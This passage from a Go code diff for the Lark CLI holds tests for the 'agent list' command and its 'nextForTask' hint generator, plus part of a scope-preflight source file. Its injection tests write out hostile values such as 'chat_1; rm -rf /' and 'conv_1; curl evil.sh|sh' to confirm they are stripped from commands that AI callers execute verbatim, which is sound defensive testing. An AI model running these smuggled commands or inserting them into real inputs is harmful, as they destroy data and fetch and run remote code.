data, _ := env.Data.(map[string]interface{})
providers, _ := data["providers"].([]interface{})
return providers
}
// findProvider returns the provider entry whose scheme matches, or nil.
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
for _, pv := range providers {
p, _ := pv.(map[string]interface{})
if p["scheme"] == scheme {
return p
}
}
return nil
}
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
// example entry carries all fields sourced from iagent.Info (the single source
// of truth), the legacy free-text description field is gone, and discoverable
// is no longer exposed.
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
prov, ok := iagent.Info("example")
if !ok {
t.Fatal("the example provider should already be registered (top-level agent blank import)")
}
p := findProvider(decodeProviders(t, out), "example")
if p == nil {
t.Fatalf("list should include the example provider: %s", out.String())
}
if p["label"] != prov.Label {
t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
}
if p["agent_ref_format"] != prov.AgentRefFormat() {
t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
}
if p["kind"] != string(prov.Kind()) {
t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
}
if p["agent_id_source"] != prov.AgentIDSource {
t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
}
if _, present := p["description"]; present {
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
}
if _, present := p["discoverable"]; present {
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
}
}
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
// data.providers[] with the full field contract.
func TestAgentListRun_EnvelopeShape(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
providers := decodeProviders(t, out)
if len(providers) == 0 {
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
}
first, ok := providers[0].(map[string]interface{})
if !ok {
t.Fatalf("provider entry should be an object, got %T", providers[0])
}
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
if _, present := first[key]; !present {
t.Errorf("provider entry missing field %q: %v", key, first)
}
}
if _, present := first["discoverable"]; present {
t.Errorf("provider entry should not contain a discoverable field: %v", first)
}
}
// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
// without --format emits the JSON envelope (pretty is opt-in).
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetArgs([]string{})
if err := cmd.Execute(); err != nil {
t.Fatalf("agent list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
// row plus tab-separated provider lines, not a JSON envelope.
func TestAgentListRun_PrettyFormat(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
opts := &listOptions{Factory: f, Format: "pretty"}
if err := agentListRun(opts); err != nil {
t.Fatalf("list pretty should not error: %v", err)
}
text := out.String()
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.HasPrefix(text, "SCHEME") {
t.Errorf("pretty output should start with a header row: %s", text)
}
if !strings.Contains(text, "example") {
t.Errorf("pretty output should contain the example provider: %s", text)
}
if !strings.Contains(text, "example:<agent_id>") {
t.Errorf("pretty output should contain the example ref format: %s", text)
}
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
// "where do I get an agent_id" cue does not disappear in the pretty view.
if !strings.Contains(text, "agent_id 获取") {
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
}
}
// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
// on a provider without Discoverer is unsupported_capability (exit 2) with the
// AgentIDSource text as hint, and — because the probe runs before any client
// construction — works on an unconfigured Factory.
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
registerScripted()
opts, _ := listFactory()
opts.Scheme = "fakeflow"
err := agentListRun(opts)
if err == nil {
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be 2, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
t.Errorf("message should state that listing is not supported, got %q", err.Error())
}
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
}
}
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
// invalid_argument and the message lists the registered schemes.
func TestAgentListScheme_UnknownScheme(t *testing.T) {
opts, _ := listFactory()
opts.Scheme = "nosuch"
err := agentListRun(opts)
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
}
// Hand-written validation errors carry a recovery hint pointing at
// `agent list` for provider discovery.
if !strings.Contains(p.Hint, "agent list") {
t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
}
}
// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
// tests only exercise enumeration, never Send/GetTask, but Register requires
// both non-nil).
func catSpec(id, name, desc string) iagent.AgentSpec {
return iagent.AgentSpec{
ID: id, Name: name, Description: desc,
Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil },
GetTask: func(context.Context, iagent.Runtime, string) (*iagent.AgentTask, error) { return nil, nil },
}
}
// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
// is derived offline from the static Catalog. It leaks into the package-level
// registry for the rest of this package run.
func registerFakeDisc() {
iagent.Register(iagent.Provider{
Scheme: "fakedisc",
Label: "test fake (catalog)",
AgentIDSource: "test only",
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
Catalog: []iagent.AgentSpec{
catSpec("a1", "Agent One", "第一个"),
catSpec("a2", "Agent Two", ""),
},
})
}
// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
// catalog provider enumerates its static entries offline into
// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
registerFakeDisc()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedisc should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
agents, ok := data["agents"].([]interface{})
if !ok || len(agents) != 2 {
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
}
first, _ := agents[0].(map[string]interface{})
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
// instance provider that wires the optional ListAgents hook enumerates via it,
// and the hook receives an identity-pinned runtime (not nil).
func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
var gotRT iagent.Runtime
spec := catSpec("", "", "")
iagent.Register(iagent.Provider{
Scheme: "fakelive",
Label: "test fake (instance live-enum)",
AgentIDSource: "test only",
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
Instance: &spec,
ListAgents: func(_ context.Context, rt iagent.Runtime) ([]iagent.AgentSummary, error) {
gotRT = rt
return []iagent.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.Flags().String("as", "", "identity")
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakelive should not error: %v", err)
}
if gotRT == nil {
t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
}
}
// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
// path now runs the same all-or-nothing scope preflight every other online verb
// runs. An instance provider with RequiredScopes, driven by a user whose token
// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagent.Register(iagent.Provider{
Scheme: "fakescopelive",
Label: "test fake (scoped live-enum)",
AgentIDSource: "test only",
RequiredScopes: []string{"live:read"},
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
Instance: &spec,
ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
called = true
return nil, nil
},
})
// The stored user token holds an unrelated scope (non-empty so the preflight
// actually runs) but not the required one.
swapStoredScopes(t, []string{"unrelated:scope"})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user"}
err := agentListRun(opts)
if err == nil {
t.Fatal("listing as a user missing the required scope should fail with missing_scope")
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %+v", p)
}
if called {
t.Error("ListAgents must NOT be called when the scope preflight fails")
}
}
// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
// enforces the user|bot identity whitelist. An explicitly unsupported --as is
// rejected as a validation error before the online ListAgents call.
func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagent.Register(iagent.Provider{
Scheme: "fakelivewl",
Label: "test fake (identity-whitelist live-enum)",
AgentIDSource: "test only",
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
Instance: &spec,
ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
called = true
return nil, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin"}
err := agentListRun(opts)
if err == nil {
t.Fatal("an unsupported identity should be rejected before the online call")
}
if !errs.IsValidation(err) {
t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
}
if called {
t.Error("ListAgents must NOT be called when the identity whitelist fails")
}
}
// TestAgentListScheme_PrettyStripsANSI pins that `agent list <scheme> --format
// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
// static catalog entries) before they reach the terminal.
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
iagent.Register(iagent.Provider{
Scheme: "fakedirty",
Label: "test fake (dirty names)",
AgentIDSource: "test only",
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
Catalog: []iagent.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedirty pretty should not error: %v", err)
}
text := string(out.Bytes())
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
}
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
t.Errorf("readable text should remain after stripping, got %q", text)
}
}
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must be registered on `agent list` and filter the envelope.
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"--jq", ".ok"})
if err := cmd.Execute(); err != nil {
t.Fatalf("agent list --jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "true" {
t.Errorf("--jq .ok should output only true, got %q", got)
}
}
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
// of --format, the --jq flag presence, and that list takes at most one
// positional arg (the scheme).
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agent list should have a --format flag")
}
if fl.DefValue != "json" {
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("jq") == nil {
t.Error("agent list should have a --jq flag")
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agent list should register an --as flag (needed to pick the identity for online enumeration)")
}
if err := cmd.Args(cmd, []string{}); err != nil {
t.Errorf("agent list with no args should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example"}); err != nil {
t.Errorf("agent list <scheme> should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
}
}

View File

@@ -0,0 +1,218 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"strings"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
)
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
// contract test automatically covers any future nextForTask branch keyed on a
// state instead of relying on hand-picked samples.
var allTaskStates = []iagent.TaskState{
iagent.StateSubmitted,
iagent.StateWorking,
iagent.StateInputRequired,
iagent.StateAuthRequired,
iagent.StateCompleted,
iagent.StateFailed,
iagent.StateCanceled,
iagent.StateRejected,
iagent.StateUnknown,
}
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
// every next command emitted by nextForTask — across all 9 task states, with
// and without a context id, template hints included (their <...> placeholders
// are single space-free tokens, so they parse as ordinary flag values) — must
// traverse and flag-parse against the real agent command tree. meta.next is
// defined as "AI executes this verbatim", so a next that references a
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
// at build time instead of by a failing acceptance run.
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
// credentials; all meta.next commands live under `lark-cli agent ...`).
agentTree := NewCmdAgent(nil)
for _, state := range allTaskStates {
for _, ctxID := range []string{"", "conversation_1"} {
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: ctxID,
State: state,
IsTerminal: state.IsTerminal(),
}
next := nextForTask("example:agent_x", task)
if len(next) == 0 {
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
}
for _, n := range next {
if state == iagent.StateAuthRequired {
// auth_required is an agent-side task state whose next step is
// the auth (re-authorize) flow, so it legitimately points OUT
// of the agent subtree and is not traversable against
// agentTree; assert its shape and skip the agent traversal.
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
}
continue
}
if !strings.HasPrefix(n.Command, "lark-cli agent ") {
t.Fatalf("next %q must target the agent subtree", n.Command)
}
// WHEN: the command string is parsed against the real tree.
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
c, flags, err := agentTree.Traverse(argv)
// THEN: it traverses to a leaf and its flags all exist.
if err != nil {
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
}
if c == agentTree {
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
}
if err := c.ParseFlags(flags); err != nil {
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
}
}
}
}
}
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
// whole next entry (omit rather than risk injection), in every state —
// meta.next commands are executed verbatim by AI callers, so shell
// metacharacters in an interpolated id are command injection.
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
for _, state := range allTaskStates {
task := &iagent.AgentTask{TaskID: bad, State: state}
if next := nextForTask("example:agent_x", task); len(next) != 0 {
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
}
}
}
}
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
// the user-echoed ref is interpolated into every next command, so a ref that
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
// suppresses the whole hint — a ref with spaces/quotes would make the command
// un-copy-pasteable at best and an injection surface at worst.
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
if next := nextForTask(bad, task); len(next) != 0 {
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
}
}
if next := nextForTask("example:agent_x", task); len(next) == 0 {
t.Error("valid ref example:agent_x should keep next")
}
}
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
// its degradation semantics: a legit task_id with an injection-shaped
// context_id (input_required branch interpolates both) keeps the hint but
// replaces the dirty id with the <context_id> placeholder — Template:true, no
// untrusted content interpolated.
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
dirty := "conv_1; curl evil.sh|sh"
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: dirty,
State: iagent.StateInputRequired,
}
next := nextForTask("example:agent_x", task)
if len(next) != 1 {
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
}
if !next[0].Template {
t.Errorf("degraded hint must be template=true, got %+v", next[0])
}
if !strings.Contains(next[0].Command, "<context_id>") {
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
}
if strings.Contains(next[0].Command, "conv_1") {
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
}
}
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
// agent-side task state (the end user must (re)authorize in the agent), NOT a
// text-continuation like input_required. Its next must point at the auth
// re-authorize flow (auth login --scope), never reuse the text-continuation
// send hint.
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
next := nextForTask("example:agent_x", task)
if len(next) != 1 {
t.Fatalf("auth_required should produce 1 next, got %+v", next)
}
// Must NOT be the input_required text-continuation hint.
if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
}
// Must point at the auth (re-authorize) flow.
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
}
// The concrete scopes come from the card, so the command carries a
// placeholder and must be marked template.
if !next[0].Template {
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
}
}
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
// default: task get has --watch, not --wait, and the poll hint must suggest a
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
// forever on a long task nor self-hammers with unbounded polls.
func TestNextForTaskWatchNotWait(t *testing.T) {
next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
if len(next) == 0 {
t.Fatal("working task must produce a poll next")
}
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
t.Fatalf("poll next must use --watch: %+v", next)
}
wantTimeout := "--timeout " + defaultWatchTimeout.String()
if !strings.Contains(next[0].Command, wantTimeout) {
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
}
}
// TestNextForTaskTemplateFlag pins the template marker semantics: the
// input_required continue hint carries a <你的答复> placeholder, so it must be
// marked template=true (not directly executable); poll and terminal-detail
// hints are verbatim-executable and must not carry the marker.
func TestNextForTaskTemplateFlag(t *testing.T) {
// input_required with a known context: placeholder in --text → template.
cont := nextForTask("example:agent_x", &iagent.AgentTask{
TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
})
if len(cont) != 1 || !cont[0].Template {
t.Fatalf("input_required next must be template=true, got %+v", cont)
}
// input_required without a context id: <context_id> placeholder → template.
contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
TaskID: "chat_1", State: iagent.StateInputRequired,
})
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
}
// Poll and terminal-detail hints are directly executable → no template flag.
for _, task := range []*iagent.AgentTask{
{TaskID: "chat_1", State: iagent.StateWorking},
{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
} {
next := nextForTask("example:agent_x", task)
if len(next) != 1 || next[0].Template {
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
}
}
}

216
cmd/agent/preflight.go Normal file
View File

@@ -0,0 +1,216 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"fmt"
"sort"
"strings"
"time"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/appmeta"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// This file implements the scope preflight: after the provider is resolved and
// before the real API call, the session's available scopes are checked against
// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
// requires the provider's entire scope set. For USER identity the scope list is
// read locally from the credential cache (no network); for BOT identity it is
// the app's published TenantScopes, fetched best-effort (a fetch failure
// downgrades the check to a no-op, like event's console precheck). A missing
// scope surfaces as a missing_scope permission error (exit 3) with an
// identity-appropriate remediation hint instead of a round-trip API 99991679.
// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
// storedUserScopes is the token-scope read seam: it returns the granted scope
// list of the stored user token from the LOCAL credential cache (keychain via
// GetStoredToken — same read path as `auth check`), issuing no network
// request. nil/empty means "no usable local scope list" and the caller skips
// preflight. Tests swap it so no unit test touches the real keychain.
var storedUserScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.UserOpenId == "" {
return nil
}
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
if stored == nil {
return nil
}
return strings.Fields(stored.Scope)
}
// preflightInput is the pure input of preflightScopes, so the check itself is
// unit-testable without a Factory, keychain, or provider client.
type preflightInput struct {
Identity core.Identity
TokenScopes []string
Provider iagent.Provider
}
// preflightScopes runs the local scope check. It returns nil when the check
// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
// scope list (the downstream not_configured / need-authorization logic owns
// that). The check is all-or-nothing: when any scope in the provider's
// RequiredScopes set is not granted it returns the missing_scope permission
// error (exit 3, mirroring the event-consume scope preflight) carrying every
// missing scope, with a re-auth hint listing ONLY the missing scopes.
//
// The hint lists just the missing scopes (not a merge with existing grants):
// the open platform authorizes INCREMENTALLY — re-login with only the missing
// scopes keeps every previously-granted scope — so re-requesting the existing
// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
func preflightScopes(in preflightInput) error {
// No usable scope list → skip (user not logged in, or bot has no published
// version / the fetch failed); the downstream not_configured / API error owns
// that path.
if len(in.TokenScopes) == 0 {
return nil
}
// Only user / bot carry a scope-list concept.
if in.Identity != core.AsUser && !in.Identity.IsBot() {
return nil
}
granted := make(map[string]bool, len(in.TokenScopes))
for _, s := range in.TokenScopes {
granted[s] = true
}
var missing []string
for _, scope := range in.Provider.RequiredScopes {
if !granted[scope] {
missing = append(missing, scope)
}
}
if len(missing) == 0 {
return nil
}
sort.Strings(missing)
return errs.NewPermissionError(errs.SubtypeMissingScope,
"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
WithIdentity(string(in.Identity)).
WithMissingScopes(missing...).
WithHint("%s", scopeRemediationHint(in.Identity, missing))
}
// scopeRemediationHint returns an identity-appropriate fix for the missing
// scopes, mirroring cmd/event's scopeRemediationHint split:
// - user: re-login requesting ONLY the missing scopes — the open platform
// authorizes incrementally, so previously-granted scopes are preserved (no
// merge needed).
// - bot: the tenant token's scopes come from the app's published version, so
// the fix is to add the scopes to the app in the developer console and
// re-publish — not a per-token re-auth. (event additionally offers a
// one-click scan-to-enable deep link; that generator lives in cmd/event and
// is not duplicated here.)
func scopeRemediationHint(id core.Identity, missing []string) string {
if id.IsBot() {
return fmt.Sprintf(
"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
strings.Join(missing, " "))
}
// Canonical repo-wide auth login --scope remediation phrasing (see
// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
// platform authorizes incrementally, so existing grants are preserved.
return fmt.Sprintf(
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
strings.Join(missing, " "))
}
// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
// — the preflight is an accelerator, never a new failure mode; the paths that
// validate ref/scheme for real have already run inside resolveSpec.
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
r, err := iagent.ParseRef(ref)
if err != nil {
return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
}
return preflightScopesForScheme(f, id, r.Scheme)
}
// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
// the ref-addressed verbs (via preflightScopesForRef) and the online
// `agent list <scheme>` enumeration, which has no agent_id. It resolves the
// provider registration for the scheme, reads the stored scopes through the
// identity-appropriate seam, and runs the same all-or-nothing check against the
// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
// unregistered scheme, empty RequiredScopes) yields nil.
func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
if f == nil {
return nil
}
prov, ok := iagent.Info(scheme)
if !ok || len(prov.RequiredScopes) == 0 {
return nil // no scopes to check (e.g. the example mock declares none)
}
var tokenScopes []string
switch {
case id == core.AsUser:
tokenScopes = storedUserScopes(f) // local keychain read, no network
case id.IsBot():
tokenScopes = botTenantScopes(f) // best-effort app-version fetch
default:
return nil
}
return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
}
// botTenantScopes is the bot-scope read seam: it fetches the app's
// currently-published version and returns its TenantScopes (the scopes a tenant
